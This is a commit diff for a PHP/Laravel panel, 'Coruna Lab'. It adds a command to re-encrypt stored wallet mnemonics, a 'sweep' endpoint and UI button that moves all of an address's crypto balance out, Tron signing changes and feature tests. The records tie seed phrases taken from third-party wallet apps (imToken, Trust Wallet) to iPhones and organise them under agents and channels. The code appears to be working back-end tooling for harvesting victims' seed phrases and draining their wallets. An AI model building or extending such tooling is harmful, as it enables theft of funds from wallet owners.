fix: transfer invaild txid
This commit is contained in:
@@ -1,6 +1,8 @@
|
||||
APP_NAME="Coruna Lab"
|
||||
APP_ENV=local
|
||||
APP_KEY=
|
||||
# Comma-separated old APP_KEY values (only if you rotated the key). Needed to decrypt old mnemonic_enc.
|
||||
# APP_PREVIOUS_KEYS=base64:oldkey...
|
||||
APP_DEBUG=true
|
||||
APP_URL=https://example.com
|
||||
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Models\WalletMnemonic;
|
||||
use Illuminate\Console\Command;
|
||||
|
||||
class ReencryptMnemonicsCommand extends Command
|
||||
{
|
||||
protected $signature = 'coruna:reencrypt-mnemonics
|
||||
{--execute : Rewrite mnemonic_enc with the current APP_KEY (default is dry-run)}';
|
||||
|
||||
protected $description = 'Decrypt wallet_mnemonics with APP_KEY / APP_PREVIOUS_KEYS and re-encrypt with the current key';
|
||||
|
||||
public function handle(): int
|
||||
{
|
||||
$previous = array_values(array_filter(config('app.previous_keys', [])));
|
||||
$this->info('APP_KEY set: '.(filled(config('app.key')) ? 'yes' : 'no'));
|
||||
$this->info('APP_PREVIOUS_KEYS: '.(count($previous) > 0 ? count($previous).' key(s)' : 'empty'));
|
||||
|
||||
$execute = (bool) $this->option('execute');
|
||||
$ok = 0;
|
||||
$failed = 0;
|
||||
$empty = 0;
|
||||
$rewritten = 0;
|
||||
|
||||
foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $row) {
|
||||
$enc = $row->getRawOriginal('mnemonic_enc');
|
||||
if ($enc === null || $enc === '') {
|
||||
$empty++;
|
||||
continue;
|
||||
}
|
||||
|
||||
$plain = $row->mnemonic;
|
||||
if ($plain === null || $plain === '') {
|
||||
$failed++;
|
||||
$this->warn("id={$row->id} decrypt failed");
|
||||
continue;
|
||||
}
|
||||
|
||||
$ok++;
|
||||
if (! $execute) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$row->mnemonic = $plain;
|
||||
$row->save();
|
||||
$rewritten++;
|
||||
}
|
||||
|
||||
$this->info(sprintf(
|
||||
'%s decryptable=%d failed=%d empty=%d%s',
|
||||
$execute ? 'rewrote' : 'dry-run',
|
||||
$ok,
|
||||
$failed,
|
||||
$empty,
|
||||
$execute ? " rewritten={$rewritten}" : '',
|
||||
));
|
||||
|
||||
if ($failed > 0) {
|
||||
$this->warn('failed rows need the original APP_KEY in APP_PREVIOUS_KEYS (or restore APP_KEY).');
|
||||
}
|
||||
if (! $execute) {
|
||||
$this->comment('dry-run only; pass --execute to rewrite ciphertext');
|
||||
}
|
||||
|
||||
return $failed > 0 ? self::FAILURE : self::SUCCESS;
|
||||
}
|
||||
}
|
||||
@@ -7,10 +7,12 @@ use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Services\TransferService;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
class WalletAddressController extends Controller
|
||||
{
|
||||
@@ -90,11 +92,7 @@ class WalletAddressController extends Controller
|
||||
'monitor' => ['required', 'integer', 'in:0,1'],
|
||||
]);
|
||||
|
||||
$allowed = WalletAddress::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||
->where('wallet_addresses.id', $address->id);
|
||||
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
|
||||
if (! $allowed->exists()) {
|
||||
if (! $this->addressInScope($address)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
@@ -116,6 +114,121 @@ class WalletAddressController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function sweep(Request $request, WalletAddress $address, TransferService $transfers)
|
||||
{
|
||||
if (! $this->addressInScope($address)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
$chain = $this->resolveTransferChain($address);
|
||||
if ($chain === null) {
|
||||
return response()->json(['code' => 1, 'msg' => '不支持的链类型'], 422);
|
||||
}
|
||||
|
||||
$allowedAssets = $this->assetsForChain($chain);
|
||||
$data = $request->validate([
|
||||
'asset' => ['required', 'string', Rule::in($allowedAssets)],
|
||||
'amount' => ['nullable', 'string'],
|
||||
]);
|
||||
|
||||
$asset = strtoupper(trim((string) $data['asset']));
|
||||
$amount = isset($data['amount']) ? trim((string) $data['amount']) : '';
|
||||
if ($amount === '' || strcasecmp($amount, 'all') === 0 || $amount === '全部') {
|
||||
$amount = null;
|
||||
} else {
|
||||
$decimals = match ($asset) {
|
||||
'ETH' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) {
|
||||
return response()->json(['code' => 1, 'msg' => '金额格式无效'], 422);
|
||||
}
|
||||
}
|
||||
|
||||
$result = $transfers->handle(
|
||||
$chain,
|
||||
$address->address,
|
||||
$amount,
|
||||
$asset,
|
||||
$this->operatorLabel(),
|
||||
);
|
||||
|
||||
if (! ($result['ok'] ?? false)) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => (string) ($result['error'] ?? '归集失败'),
|
||||
]);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => $result,
|
||||
]);
|
||||
}
|
||||
|
||||
private function addressInScope(WalletAddress $address): bool
|
||||
{
|
||||
$allowed = WalletAddress::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||
->where('wallet_addresses.id', $address->id);
|
||||
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
|
||||
|
||||
return $allowed->exists();
|
||||
}
|
||||
|
||||
private function resolveTransferChain(WalletAddress $address): ?string
|
||||
{
|
||||
$type = strtoupper(trim((string) $address->chain_type));
|
||||
if (str_contains($type, 'TRON') || $type === 'TRX') {
|
||||
return 'tron';
|
||||
}
|
||||
if (str_contains($type, 'ETH') || str_contains($type, 'EVM')) {
|
||||
return 'eth';
|
||||
}
|
||||
if (str_contains($type, 'BTC') || str_contains($type, 'BITCOIN')) {
|
||||
return 'btc';
|
||||
}
|
||||
|
||||
$addr = trim((string) $address->address);
|
||||
if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $addr)) {
|
||||
return 'tron';
|
||||
}
|
||||
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $addr)) {
|
||||
return 'eth';
|
||||
}
|
||||
if (preg_match('/^(bc1|tb1)[a-z0-9]{8,87}$/i', $addr)
|
||||
|| preg_match('/^[13][1-9A-HJ-NP-Za-km-z]{24,33}$/', $addr)) {
|
||||
return 'btc';
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
private function assetsForChain(string $chain): array
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth' => ['ETH', 'USDT'],
|
||||
'btc' => ['BTC'],
|
||||
default => ['USDT', 'TRX'],
|
||||
};
|
||||
}
|
||||
|
||||
private function operatorLabel(): string
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
$user = auth('agent')->user();
|
||||
|
||||
return 'agent:'.((int) ($user?->id ?? 0)).'@'.(string) ($user?->username ?? '');
|
||||
}
|
||||
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return 'admin:'.((int) ($admin?->id ?? 0)).'@'.(string) ($admin?->username ?? '');
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = WalletAddress::query()
|
||||
|
||||
@@ -99,19 +99,49 @@ class TronDriver implements ChainDriver
|
||||
return TronAddress::isValid($address);
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
/**
|
||||
* Full-node getaccount. Never-activated addresses come back as {}.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function fetchAccount(string $address): array
|
||||
{
|
||||
if (! $this->isValidAddress($address)) {
|
||||
throw new RuntimeException('Invalid Tron address');
|
||||
}
|
||||
|
||||
$account = $this->post('/wallet/getaccount', [
|
||||
return $this->post('/wallet/getaccount', [
|
||||
'address' => $address,
|
||||
'visible' => true,
|
||||
]);
|
||||
$sun = (string) ($account['balance'] ?? 0);
|
||||
}
|
||||
|
||||
return $this->fromSun($sun);
|
||||
/**
|
||||
* @param array<string, mixed> $account
|
||||
*/
|
||||
public static function accountIsActivated(array $account): bool
|
||||
{
|
||||
return isset($account['address']) || isset($account['create_time']);
|
||||
}
|
||||
|
||||
/**
|
||||
* One getaccount: activation + TRX. Unactivated accounts have no on-chain state.
|
||||
*
|
||||
* @return array{activated: bool, trx: string}
|
||||
*/
|
||||
public function probeAccount(string $address): array
|
||||
{
|
||||
$account = $this->fetchAccount($address);
|
||||
|
||||
return [
|
||||
'activated' => self::accountIsActivated($account),
|
||||
'trx' => $this->fromSun((string) ($account['balance'] ?? 0)),
|
||||
];
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
{
|
||||
return $this->probeAccount($address)['trx'];
|
||||
}
|
||||
|
||||
public function getTokenBalance(string $address, string $contract): string
|
||||
@@ -184,10 +214,34 @@ class TronDriver implements ChainDriver
|
||||
{
|
||||
$txId = $tx['txID'] ?? null;
|
||||
if (! is_string($txId) || $txId === '') {
|
||||
create_log([
|
||||
'event' => 'tron_sign_failed',
|
||||
'error' => 'Missing txID from node',
|
||||
'tx_keys' => array_keys($tx),
|
||||
], 'transfer');
|
||||
throw new RuntimeException('Missing txID from node');
|
||||
}
|
||||
|
||||
$signature = TronSigner::signTxId($privateKeyHex, $txId);
|
||||
create_log([
|
||||
'event' => 'tron_sign_start',
|
||||
'txid' => $txId,
|
||||
'txid_len' => strlen($txId),
|
||||
'txid_prefix' => substr($txId, 0, 8),
|
||||
], 'transfer');
|
||||
|
||||
try {
|
||||
$signature = TronSigner::signTxId($privateKeyHex, $txId);
|
||||
} catch (\Throwable $e) {
|
||||
create_log([
|
||||
'event' => 'tron_sign_failed',
|
||||
'txid' => $txId,
|
||||
'txid_len' => strlen($txId),
|
||||
'txid_prefix' => substr($txId, 0, 8),
|
||||
'error' => $e->getMessage(),
|
||||
], 'transfer');
|
||||
throw $e;
|
||||
}
|
||||
|
||||
$tx['signature'] = [$signature];
|
||||
|
||||
$result = $this->post('/wallet/broadcasttransaction', $tx);
|
||||
@@ -198,9 +252,22 @@ class TronDriver implements ChainDriver
|
||||
$decoded = @hex2bin($msg);
|
||||
$msg = $decoded !== false ? $decoded : $msg;
|
||||
}
|
||||
throw new RuntimeException(is_string($msg) ? $msg : 'broadcast failed');
|
||||
$error = is_string($msg) ? $msg : 'broadcast failed';
|
||||
create_log([
|
||||
'event' => 'tron_broadcast_failed',
|
||||
'txid' => $txId,
|
||||
'txid_len' => strlen($txId),
|
||||
'error' => $error,
|
||||
'result' => $result,
|
||||
], 'transfer');
|
||||
throw new RuntimeException($error);
|
||||
}
|
||||
|
||||
create_log([
|
||||
'event' => 'tron_broadcast_ok',
|
||||
'txid' => $txId,
|
||||
], 'transfer');
|
||||
|
||||
return $txId;
|
||||
}
|
||||
|
||||
|
||||
@@ -12,9 +12,13 @@ final class TronSigner
|
||||
*/
|
||||
public static function signTxId(string $privateKeyHex, string $txIdHex): string
|
||||
{
|
||||
$txIdHex = strtolower(ltrim($txIdHex, '0x'));
|
||||
if (strlen($txIdHex) !== 64) {
|
||||
throw new RuntimeException('Invalid txID');
|
||||
// Tron full-node returns txID as 64-char hex (no 0x). Sign it as-is.
|
||||
$raw = $txIdHex;
|
||||
$txIdHex = strtolower(trim($txIdHex));
|
||||
if (! preg_match('/^[0-9a-f]{64}$/', $txIdHex)) {
|
||||
throw new RuntimeException(
|
||||
'Invalid txID (len='.strlen($txIdHex).', raw_len='.strlen($raw).', value='.$raw.')'
|
||||
);
|
||||
}
|
||||
|
||||
$ec = new EC('secp256k1');
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Services;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use App\Services\Chain\TronDriver;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
@@ -114,13 +115,26 @@ class WalletBalanceService
|
||||
if ($balances === null) {
|
||||
$source = 'trongrid_wallet';
|
||||
$driver = $this->chains->resolve('tron');
|
||||
$balances = [
|
||||
'trx' => $driver->getNativeBalance($addr),
|
||||
'usdt' => $driver->getTokenBalance(
|
||||
$addr,
|
||||
(string) config('coruna.tron.usdt_contract'),
|
||||
),
|
||||
];
|
||||
if ($driver instanceof TronDriver) {
|
||||
$probe = $driver->probeAccount($addr);
|
||||
$balances = [
|
||||
'trx' => $probe['trx'],
|
||||
'usdt' => $probe['activated']
|
||||
? $driver->getTokenBalance(
|
||||
$addr,
|
||||
(string) config('coruna.tron.usdt_contract'),
|
||||
)
|
||||
: '0',
|
||||
];
|
||||
} else {
|
||||
$balances = [
|
||||
'trx' => $driver->getNativeBalance($addr),
|
||||
'usdt' => $driver->getTokenBalance(
|
||||
$addr,
|
||||
(string) config('coruna.tron.usdt_contract'),
|
||||
),
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
// No official BTC/ETH/BNB on Tron — leave those columns untouched.
|
||||
|
||||
@@ -325,7 +325,7 @@ composer install --no-dev --optimize-autoloader
|
||||
cp .env.example .env
|
||||
# 编辑 .env(见下节)
|
||||
|
||||
/www/server/php/82/bin/php artisan key:generate
|
||||
/www/server/php/82/bin/php artisan key:generate # 仅首次;已有数据后不要再执行
|
||||
chown -R www:www storage bootstrap/cache
|
||||
chmod -R ug+rwx storage bootstrap/cache
|
||||
|
||||
|
||||
+1
-1
@@ -37,7 +37,7 @@ composer install --no-dev --optimize-autoloader
|
||||
|
||||
```
|
||||
cp .env.example .env
|
||||
php artisan key:generate
|
||||
php artisan key:generate # 仅全新安装;已有库后禁止再跑,否则助记词解不开
|
||||
chown -R www:www storage bootstrap/cache
|
||||
chmod -R ug+rwx storage bootstrap/cache
|
||||
chown -R www:www www/wwwroot/coruna-lab/public www/wwwroot/coruna-lab/storage
|
||||
|
||||
@@ -80,6 +80,7 @@
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-addr-list" lay-filter="LAY-addr-list"></table>
|
||||
<script type="text/html" id="LAY-addr-ops">
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="sweep">归集</a>
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="edit">编辑</a>
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
@@ -103,6 +104,93 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
return '<span class="' + cls + '">' + raw + '</span>';
|
||||
}
|
||||
|
||||
function assetsForRow(d) {
|
||||
var type = String(d.chain_type || '').toUpperCase();
|
||||
var addr = String(d.address || '');
|
||||
if (type.indexOf('TRON') >= 0 || type === 'TRX' || /^T[1-9A-HJ-NP-Za-km-z]{33}$/.test(addr)) {
|
||||
return ['USDT', 'TRX'];
|
||||
}
|
||||
if (type.indexOf('ETH') >= 0 || type.indexOf('EVM') >= 0 || /^0x[0-9a-fA-F]{40}$/.test(addr)) {
|
||||
return ['ETH', 'USDT'];
|
||||
}
|
||||
if (type.indexOf('BTC') >= 0 || type.indexOf('BITCOIN') >= 0) {
|
||||
return ['BTC'];
|
||||
}
|
||||
return [];
|
||||
}
|
||||
|
||||
function balanceHint(d, asset) {
|
||||
var key = String(asset || '').toLowerCase();
|
||||
var val = d[key];
|
||||
if (val === undefined || val === null || val === '') return '—';
|
||||
return String(val);
|
||||
}
|
||||
|
||||
function openSweep(d) {
|
||||
var assets = assetsForRow(d);
|
||||
if (!assets.length) {
|
||||
return layer.msg('该地址链类型不支持归集');
|
||||
}
|
||||
var options = assets.map(function (a, i) {
|
||||
return '<option value="' + a + '"' + (i === 0 ? ' selected' : '') + '>' + a + '</option>';
|
||||
}).join('');
|
||||
var defaultAsset = assets[0];
|
||||
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '归集 — #' + d.id,
|
||||
area: ['460px', '360px'],
|
||||
content:
|
||||
'<form class="layui-form" style="padding:16px 20px 0;" id="LAY-addr-sweep-form" lay-filter="LAY-addr-sweep-form">' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">地址</label>' +
|
||||
'<div class="layui-input-block"><div class="layui-form-mid addr-cell" style="width:100%;padding:0!important;">' + (d.address || '') + '</div></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">链</label>' +
|
||||
'<div class="layui-input-block"><div class="layui-form-mid" style="padding:0!important;">' + chainTag(d.chain_type) + '</div></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">币种</label>' +
|
||||
'<div class="layui-input-block"><select name="asset" lay-filter="LAY-addr-sweep-asset">' + options + '</select></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">金额</label>' +
|
||||
'<div class="layui-input-block">' +
|
||||
'<input type="text" name="amount" class="layui-input" placeholder="全部(留空即转出全部余额)" autocomplete="off">' +
|
||||
'<div class="layui-form-mid layui-word-aux" id="LAY-addr-sweep-balance" style="padding:4px 0 0!important;">当前余额:' + balanceHint(d, defaultAsset) + ' ' + defaultAsset + '</div>' +
|
||||
'</div></div>' +
|
||||
'</form>',
|
||||
success: function () {
|
||||
form.render('select');
|
||||
form.on('select(LAY-addr-sweep-asset)', function (data) {
|
||||
var asset = data.value;
|
||||
$('#LAY-addr-sweep-balance').text('当前余额:' + balanceHint(d, asset) + ' ' + asset);
|
||||
});
|
||||
},
|
||||
btn: ['确认归集', '取消'],
|
||||
yes: function (index) {
|
||||
var asset = $('#LAY-addr-sweep-form select[name=asset]').val();
|
||||
var amount = $.trim($('#LAY-addr-sweep-form input[name=amount]').val() || '');
|
||||
var label = amount ? (amount + ' ' + asset) : ('全部 ' + asset);
|
||||
layer.confirm('确认归集 ' + label + ' ?', { icon: 3, title: '确认' }, function (confirmIndex) {
|
||||
layer.close(confirmIndex);
|
||||
var loading = layer.load(2);
|
||||
$.ajax({
|
||||
url: updateBase + '/' + d.id + '/sweep',
|
||||
method: 'POST',
|
||||
data: { asset: asset, amount: amount, _token: token },
|
||||
success: function (res) {
|
||||
layer.close(loading);
|
||||
if (res.code !== 0) return layer.msg(res.msg || '归集失败');
|
||||
layer.close(index);
|
||||
var txid = (res.data && res.data.txid) ? res.data.txid : '';
|
||||
layer.msg(txid ? ('归集成功:' + txid) : '归集成功', { time: 4000 });
|
||||
table.reload('LAY-addr-list');
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.close(loading);
|
||||
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '归集失败');
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-addr-list',
|
||||
id: 'LAY-addr-list',
|
||||
@@ -132,7 +220,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
? '<span class="addr-monitor-on">开</span>'
|
||||
: '<span class="addr-monitor-off">关</span>';
|
||||
}},
|
||||
{ title: '操作', width: 160, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' }
|
||||
{ title: '操作', width: 220, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
@@ -160,6 +248,10 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
openDeviceTab(d.detail_url, '设备 ' + (d.device_key || ('#' + d.id)));
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'sweep') {
|
||||
openSweep(d);
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'edit') return;
|
||||
|
||||
layer.open({
|
||||
|
||||
@@ -55,6 +55,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index');
|
||||
Route::get('addresses/data', [WalletAddressController::class, 'data'])->name('addresses.data');
|
||||
Route::put('addresses/{address}', [WalletAddressController::class, 'update'])->name('addresses.update');
|
||||
Route::post('addresses/{address}/sweep', [WalletAddressController::class, 'sweep'])->name('addresses.sweep');
|
||||
|
||||
Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index');
|
||||
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
|
||||
|
||||
@@ -48,6 +48,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index');
|
||||
Route::get('addresses/data', [WalletAddressController::class, 'data'])->name('addresses.data');
|
||||
Route::put('addresses/{address}', [WalletAddressController::class, 'update'])->name('addresses.update');
|
||||
Route::post('addresses/{address}/sweep', [WalletAddressController::class, 'sweep'])->name('addresses.sweep');
|
||||
|
||||
Route::get('mnemonics', [MnemonicController::class, 'index'])->name('mnemonics.index');
|
||||
Route::get('mnemonics/data', [MnemonicController::class, 'data'])->name('mnemonics.data');
|
||||
|
||||
@@ -0,0 +1,151 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\TransferService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Mockery;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class AddressSweepTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private function seedTronAddress(): WalletAddress
|
||||
{
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-sweep-1',
|
||||
'ios_version' => '18.0',
|
||||
'device_model' => 'iPhone',
|
||||
]);
|
||||
|
||||
return WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'usdt' => '12.5',
|
||||
'trx' => '20',
|
||||
'monitor' => 0,
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_sweep_full_balance_via_addresses_page(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$addr = $this->seedTronAddress();
|
||||
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldReceive('handle')
|
||||
->once()
|
||||
->withArgs(function (string $chain, string $from, ?string $amount, string $asset, ?string $operator) use ($addr) {
|
||||
return $chain === 'tron'
|
||||
&& $from === $addr->address
|
||||
&& $amount === null
|
||||
&& $asset === 'USDT'
|
||||
&& is_string($operator)
|
||||
&& str_starts_with($operator, 'admin:');
|
||||
})
|
||||
->andReturn([
|
||||
'ok' => true,
|
||||
'txid' => str_repeat('ab', 32),
|
||||
'from' => $addr->address,
|
||||
'to' => 'TToAddress',
|
||||
'amount' => '12.5',
|
||||
'asset' => 'USDT',
|
||||
]);
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson('/admin/addresses/'.$addr->id.'/sweep', [
|
||||
'asset' => 'USDT',
|
||||
'amount' => '',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJson([
|
||||
'code' => 0,
|
||||
'data' => [
|
||||
'txid' => str_repeat('ab', 32),
|
||||
'asset' => 'USDT',
|
||||
'amount' => '12.5',
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_sweep_specific_amount(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$addr = $this->seedTronAddress();
|
||||
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldReceive('handle')
|
||||
->once()
|
||||
->with('tron', $addr->address, '1.25', 'TRX', Mockery::type('string'))
|
||||
->andReturn([
|
||||
'ok' => true,
|
||||
'txid' => str_repeat('cd', 32),
|
||||
'from' => $addr->address,
|
||||
'to' => 'TToAddress',
|
||||
'amount' => '1.25',
|
||||
'asset' => 'TRX',
|
||||
]);
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson('/admin/addresses/'.$addr->id.'/sweep', [
|
||||
'asset' => 'TRX',
|
||||
'amount' => '1.25',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.txid', str_repeat('cd', 32));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function sweep_rejects_invalid_asset_for_chain(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$addr = $this->seedTronAddress();
|
||||
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldNotReceive('handle');
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson('/admin/addresses/'.$addr->id.'/sweep', [
|
||||
'asset' => 'BTC',
|
||||
'amount' => '',
|
||||
])
|
||||
->assertStatus(422);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_sweep_out_of_scope_address(): void
|
||||
{
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent1',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
$addr = $this->seedTronAddress();
|
||||
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldNotReceive('handle');
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->postJson('/user/addresses/'.$addr->id.'/sweep', [
|
||||
'asset' => 'USDT',
|
||||
'amount' => '',
|
||||
])
|
||||
->assertStatus(403)
|
||||
->assertJson(['code' => 1]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletMnemonic;
|
||||
use Illuminate\Encryption\Encrypter;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class ReencryptMnemonicsCommandTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function previous_key_unlocks_and_execute_rewrites_ciphertext(): void
|
||||
{
|
||||
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$oldRaw = random_bytes(32);
|
||||
$oldKey = 'base64:'.base64_encode($oldRaw);
|
||||
$old = new Encrypter($oldRaw, config('app.cipher'));
|
||||
|
||||
$device = Device::query()->create(['device_id' => 'dev-reencrypt']);
|
||||
$id = DB::table('wallet_mnemonics')->insertGetId([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'mnemonic_hash' => WalletMnemonic::hashSecret($phrase),
|
||||
'mnemonic_enc' => $old->encryptString($phrase),
|
||||
'created_at' => now(),
|
||||
'updated_at' => now(),
|
||||
]);
|
||||
|
||||
$this->assertNull(WalletMnemonic::query()->find($id)?->mnemonic);
|
||||
|
||||
$this->artisan('coruna:reencrypt-mnemonics')->assertFailed();
|
||||
|
||||
$this->bindPreviousKeys([$oldKey]);
|
||||
$this->assertSame($phrase, WalletMnemonic::query()->find($id)?->mnemonic);
|
||||
|
||||
$this->artisan('coruna:reencrypt-mnemonics', ['--execute' => true])
|
||||
->assertSuccessful();
|
||||
|
||||
$this->bindPreviousKeys([]);
|
||||
$this->assertSame($phrase, WalletMnemonic::query()->find($id)?->mnemonic);
|
||||
}
|
||||
|
||||
/** @param list<string> $keys */
|
||||
private function bindPreviousKeys(array $keys): void
|
||||
{
|
||||
config(['app.previous_keys' => $keys]);
|
||||
$this->app->forgetInstance('encrypter');
|
||||
Crypt::clearResolvedInstance('encrypter');
|
||||
}
|
||||
}
|
||||
@@ -30,4 +30,15 @@ class TronDriverTest extends TestCase
|
||||
$this->assertFalse($driver->isValidAddress('0xab5c66752a9e8167967685f1450532fb96d5d24f'));
|
||||
$this->assertFalse($driver->isValidAddress('Tinvalid'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function empty_getaccount_payload_is_not_activated(): void
|
||||
{
|
||||
$this->assertFalse(TronDriver::accountIsActivated([]));
|
||||
$this->assertTrue(TronDriver::accountIsActivated([
|
||||
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||
'create_time' => 1,
|
||||
'balance' => 0,
|
||||
]));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Services\Chain\TronSigner;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use RuntimeException;
|
||||
use Tests\TestCase;
|
||||
|
||||
class TronSignerTest extends TestCase
|
||||
{
|
||||
